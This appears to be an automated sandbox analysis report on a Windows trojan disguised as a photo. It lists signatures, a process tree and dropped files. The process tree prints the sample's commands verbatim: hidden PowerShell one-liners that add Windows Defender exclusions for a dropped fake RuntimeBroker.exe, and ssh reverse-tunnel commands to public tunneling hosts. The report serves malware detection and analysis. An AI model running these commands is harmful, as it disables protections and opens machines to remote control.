Analysis

  • user interaction
    yes
  • max time kernel
    152s
  • max time network
    162s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    27/10/2026, 23:08

General

  • Target
    MSI_MPG_photo.exe
  • Size 113.1MB
  • Sample261027-24p2dahs6l
  • SHA256 28690481d365fec84ff8be4a2a55e247bf1f3aa8e3f6f3a24fd937c80da67a78
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Modifies WinLogon for persistence 2 TTPs 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 12 IoCs

    Run Powershell and hide display window.

  • Executes a file named after a Windows system binary 1 TTPs 2 IoCs

    The file runs from a user directory while carrying the name of an executable that normally only exists in System32.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 64 IoCs
  • Outbound SSH connection to public host 2 TTPs 1 IoCs

    SSH is used for remote access. This may indicate SSH host discovery, encrypted C2 traffic, or data exfiltration.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 6 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Checks SCSI registry key(s) 3 TTPs 8 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 5 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\MSI_MPG_photo.exe
    "C:\Users\Admin\AppData\Local\Temp\MSI_MPG_photo.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:6064
    • C:\Users\Admin\AppData\Local\Temp\MSI_MPG_photo.exe
      "C:\Users\Admin\AppData\Local\Temp\MSI_MPG_photo.exe"
      2⤵
      • Modifies WinLogon for persistence
      • Loads dropped DLL
      • Reads the TCP/IP host and domain name from the registry
      • Modifies registry class
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:928
      • C:\Windows\system32\mspaint.exe
        "C:\Windows\system32\mspaint.exe" "C:\Users\Admin\AppData\Local\Temp\MSI_MPG.jpg"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1536
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\WindowsApps\RuntimeBroker' -ErrorAction SilentlyContinue""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:996
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\WindowsApps\RuntimeBroker' -ErrorAction SilentlyContinue"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:560
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemData\RuntimeBroker' -ErrorAction SilentlyContinue""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2492
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemData\RuntimeBroker' -ErrorAction SilentlyContinue"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1300
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\WER\ReportArchive\RuntimeBroker' -ErrorAction SilentlyContinue""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1228
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\WER\ReportArchive\RuntimeBroker' -ErrorAction SilentlyContinue"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1132
      • C:\Users\Admin\AppData\Local\Microsoft\WindowsApps\RuntimeBroker\RuntimeBroker.exe
        C:\Users\Admin\AppData\Local\Microsoft\WindowsApps\RuntimeBroker\RuntimeBroker.exe --service-node
        3⤵
        • Executes a file named after a Windows system binary
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:4696
        • C:\Users\Admin\AppData\Local\Microsoft\WindowsApps\RuntimeBroker\RuntimeBroker.exe
          C:\Users\Admin\AppData\Local\Microsoft\WindowsApps\RuntimeBroker\RuntimeBroker.exe --service-node
          4⤵
          • Modifies WinLogon for persistence
          • Executes a file named after a Windows system binary
          • Executes dropped EXE
          • Loads dropped DLL
          • Reads the TCP/IP host and domain name from the registry
          • Checks processor information in registry
          • Enumerates system info in registry
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: GetForegroundWindowSpam
          • Suspicious use of WriteProcessMemory
          PID:1112
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\WindowsApps\RuntimeBroker' -ErrorAction SilentlyContinue""
            5⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:2084
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\WindowsApps\RuntimeBroker' -ErrorAction SilentlyContinue"
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:1636
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemData\RuntimeBroker' -ErrorAction SilentlyContinue""
            5⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:2816
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemData\RuntimeBroker' -ErrorAction SilentlyContinue"
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:5884
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\WER\ReportArchive\RuntimeBroker' -ErrorAction SilentlyContinue""
            5⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:4488
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\WER\ReportArchive\RuntimeBroker' -ErrorAction SilentlyContinue"
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:1356
          • C:\Windows\System32\OpenSSH\ssh.EXE
            C:\Windows\System32\OpenSSH\ssh.EXE -o StrictHostKeyChecking=no -o UserKnownHostsFile=NUL -o ServerAliveInterval=15 -o ConnectTimeout=10 -p 443 -R 0:127.0.0.1:18890 a.pinggy.io
            5⤵
            • System Network Configuration Discovery: Internet Connection Discovery
            PID:5524
          • C:\Windows\System32\OpenSSH\ssh.EXE
            C:\Windows\System32\OpenSSH\ssh.EXE -o StrictHostKeyChecking=no -o UserKnownHostsFile=NUL -o ServerAliveInterval=15 -o ConnectTimeout=10 -R 80:127.0.0.1:18890 [email protected]
            5⤵
            • Outbound SSH connection to public host
            PID:5440
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DeviceAssociationService
    1⤵
    • Checks SCSI registry key(s)
    PID:3536
  • C:\Windows\system32\AUDIODG.EXE
    C:\Windows\system32\AUDIODG.EXE 0x00000000000004E8 0x00000000000004F8
    1⤵
      PID:5360

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads

          MSI_MPG.jpg

          • Path C:\Users\Admin\AppData\Local\Temp\MSI_MPG.jpg
          • Size 8.0MB
          • SHA256 392a7ec5dd93505a772aa5c5ef890f1c82793c5b5ea3c151b351bdfc6843d972
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _imaging.cp315-win_amd64.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000017b02\PIL\_imaging.cp315-win_amd64.pyd
          • Size 2.5MB
          • SHA256 c01521704ce6cb263f4dfe468c5d3971ad8529582f0b49504384b86558232d37
          • MD5 SHA1 SHA512 SSDEEP TLSH

          VCRUNTIME140.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000017b02\VCRUNTIME140.dll
          • Size 174KB
          • SHA256 d1f4225df2cd877dbf130d5668a021dce3f94118455ff5ec952061c30afc9ce7
          • MD5 SHA1 SHA512 SSDEEP TLSH

          VCRUNTIME140_1.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000017b02\VCRUNTIME140_1.dll
          • Size 48KB
          • SHA256 a7146c08f89fe5b04541ab507cdb59ff7b44534d4ba3c668a426c6450a03434e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _bz2.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000017b02\_bz2.pyd
          • Size 84KB
          • SHA256 a57ad7b6355659277ab3048ecb8878b713305cf7a566cebed90319d333d44941
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _ctypes.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000017b02\_ctypes.pyd
          • Size 140KB
          • SHA256 0dab147f138b1c2294727c0c411b1313f798a9d0bf12b827b3c243c4fea628d1
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _hashlib.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000017b02\_hashlib.pyd
          • Size 71KB
          • SHA256 1aed3affa3bf88fb4ed1c1294fd23a4dae4c0c2378e139ae2d19b5f68ebac022
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _lzma.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000017b02\_lzma.pyd
          • Size 167KB
          • SHA256 a3163ce72075f46e8d4f2e84c7bd6c30b354cfc9af77145ecd8f07cd758b07a8
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _queue.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000017b02\_queue.pyd
          • Size 35KB
          • SHA256 ebce600509f8fcc45ca264775b70d1a7848300b1669eff6babab5a1244195d3f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _socket.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000017b02\_socket.pyd
          • Size 86KB
          • SHA256 95d9fec06c9dc9c61ce3335bd83160851bce90f936615a9ba564ecedd3e76e7c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _sqlite3.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000017b02\_sqlite3.pyd
          • Size 129KB
          • SHA256 2013ae5a1c0d1aaad20b0dc7132284f6c8405dab67da6d74dea3db73d3bcafda
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _ssl.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000017b02\_ssl.pyd
          • Size 194KB
          • SHA256 3941ff2e737757468b5d5c4c4c3a848019ce0e85a9ad32b8deb8d5cf5df93e56
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _tkinter.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000017b02\_tkinter.pyd
          • Size 69KB
          • SHA256 da22665d0646e9feac392ccb20564bb5d0c3824d33e1d172bdb529503e5de176
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _uuid.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000017b02\_uuid.pyd
          • Size 27KB
          • SHA256 8e2bdb3e095cad538540c4941cbce3f279b86c8d8d7cdb8b00f42567d01e8668
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _wmi.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000017b02\_wmi.pyd
          • Size 38KB
          • SHA256 25643fe7a149c2d36f6a3b18638e3dac3a20a7a198e8b8215d37e30b28ab6244
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _zstd.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000017b02\_zstd.pyd
          • Size 494KB
          • SHA256 65f7f0b0f204ea3fd9ea53a3d6f54e2f7f802188ee1a1ba1b1cdf3674684993d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          base_library.zip

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000017b02\base_library.zip
          • Size 1.4MB
          • SHA256 9a012c38e97f2783d44488bf26cb7b971381d8158c9224344d19965b69ff30f0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          cd.cp315-win_amd64.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000017b02\charset_normalizer\cd.cp315-win_amd64.pyd
          • Size 116KB
          • SHA256 a673fbfc2e6e63e0817dffa2745e7f24aa39845d20fe7da3979d48f6afd771bd
          • MD5 SHA1 SHA512 SSDEEP TLSH

          md.cp315-win_amd64.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000017b02\charset_normalizer\md.cp315-win_amd64.pyd
          • Size 206KB
          • SHA256 e5bc67ba723aea88709dfcfdce5c647df732621a94ed5bfc0bcd8141b80f866f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          __init__.py

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000017b02\cv2\__init__.py
          • Size 6KB
          • SHA256 674817e87409bc589608ef9f4dd4c1a49f600b5e85ca8b106b3b0a9eab5c46cc
          • MD5 SHA1 SHA512 SSDEEP TLSH

          libcrypto-3.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000017b02\libcrypto-3.dll
          • Size 5.7MB
          • SHA256 75495fe0e079ab00d49be740d3c710a0b94e3f74f9648cb7cc9f768fc7f52319
          • MD5 SHA1 SHA512 SSDEEP TLSH

          libffi-8.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000017b02\libffi-8.dll
          • Size 38KB
          • SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          libssl-3.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000017b02\libssl-3.dll
          • Size 1.2MB
          • SHA256 8957182a9c385bfd9f3f790921de2ddc614cf91f99edbed4e9e5446a46504e32
          • MD5 SHA1 SHA512 SSDEEP TLSH

          libtommath.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000017b02\libtommath.dll
          • Size 79KB
          • SHA256 2d760fefb452665b6af8c8d9d29f3a8378f10fc0847cdd9938ea0cb5edf1d573
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _psutil_windows.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000017b02\psutil\_psutil_windows.pyd
          • Size 69KB
          • SHA256 0035450801bd7d938e9e146c5ec28e619cb5a5f4a18cdc53ac7e9734c7f94f78
          • MD5 SHA1 SHA512 SSDEEP TLSH

          python3.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000017b02\python3.dll
          • Size 74KB
          • SHA256 03538664aa98aea3732c8345f8229e9c5deb26532b3e652fa3d9f757b867e46c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          python315.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000017b02\python315.dll
          • Size 7.5MB
          • SHA256 62507168f11f1a9bb6c6982322e0320477cf703a7382bdbe608a124a457126b1
          • MD5 SHA1 SHA512 SSDEEP TLSH

          select.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000017b02\select.pyd
          • Size 32KB
          • SHA256 641c4d2365d15ba1da857fd783b64ef67624077cc50ff3bd8566fe484b109342
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Lorem ipsum.txt

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000017b02\setuptools\_vendor\jaraco\text\Lorem ipsum.txt
          • Size 1KB
          • SHA256 37fedcffbf73c4eb9f058f47677cb33203a436ff9390e4d38a8e01c9dad28e0b
          • MD5 SHA1 SHA512 TLSH

          sqlite3.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000017b02\sqlite3.dll
          • Size 1.6MB
          • SHA256 ea477884648cb620295b05c1624185080341a8201fc799dc94794fb28f43abc4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          tcl90.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000017b02\tcl90.dll
          • Size 3.2MB
          • SHA256 a1fb45f963b05cb083a97df1449c2023b484eb921d40a463da7501b0f60e0f70
          • MD5 SHA1 SHA512 SSDEEP TLSH

          tcl9tk90.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000017b02\tcl9tk90.dll
          • Size 2.0MB
          • SHA256 31f625c52e65d29d126e710ed8bab2ec964cb770e4fc59bc329dfff02cb6ddcf
          • MD5 SHA1 SHA512 SSDEEP TLSH

          unicodedata.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000017b02\unicodedata.pyd
          • Size 735KB
          • SHA256 67d569e47ab2cd164ee6e42e5811b787d18230eb02b47adf3e45cc67205eef79
          • MD5 SHA1 SHA512 SSDEEP TLSH

          zlib1.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000017b02\zlib1.dll
          • Size 100KB
          • SHA256 f07195206534ebb1fe75093d4ec6c54a7a9227281b0c09d2113465b71da9e900
          • MD5 SHA1 SHA512 SSDEEP TLSH

          __PSScriptPolicyTest_ddrywm31.ehc.psm1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ddrywm31.ehc.psm1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          memory/560-264-0x0000018787CF0000-0x0000018787D12000-memory.dmp

          memory/560-267-0x0000018787DB0000-0x0000018787DCE000-memory.dmp

          memory/560-268-0x000001879FEE0000-0x000001879FF92000-memory.dmp

          memory/560-269-0x000001879FFA0000-0x000001879FFAA000-memory.dmp

          memory/1636-478-0x000001C6482F0000-0x000001C6483A2000-memory.dmp